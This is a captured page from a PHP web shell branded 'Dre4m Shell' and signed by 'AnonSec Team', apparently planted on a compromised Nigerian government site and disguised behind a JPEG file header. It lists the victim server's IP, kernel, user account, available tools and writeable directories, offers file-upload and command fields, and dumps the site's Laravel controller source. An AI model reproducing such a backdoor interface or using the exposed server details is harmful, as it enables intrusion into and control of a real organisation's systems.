ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.227.228.195
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/MainController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Auth;
use Session;
use App\Http\Requests;
use DB;

class MainController extends Controller
{
    public function __construct()
    {
        $this->middleware('auth');
    }//


   public function userArea()
   {	
   	if(!Auth::check()){
   		return redirect()->route('gotToLogin')->with('error', 'It seems your session has expired. Please, Login again.');
   	}
   	$userID = Session::get('userID');
   	$users  = DB::table('users')
                ->where('users.id', $userID)
                ->select('users.first_login')
                ->first();
                
            $username = Auth::user()->username;
            $verify = DB::table('users')
            ->where('username', $username)->select('lastPasswordUpdate')->first();
            
            //$someDate = Date($verify->lastPasswordUpdate);
            //$now = Date('Y-m-d');
            
            $now = time(); // or your date as well
            $your_date = strtotime($verify->lastPasswordUpdate);
            $datediff = $now - $your_date;
            
            $diff = floor($datediff / (60 * 60 * 24));
            if($diff > 92)
            {
            return redirect('/update/password')->with('msgReset','You Need to Reset your password to a new one. Note:* Password Reset is done every 3 months');
            }
            else
            {
            return view('main.userArea');
            }
      
   	return view('main.userArea');
   }
 


}//end class


Anon7 - 2022
AnonSec Team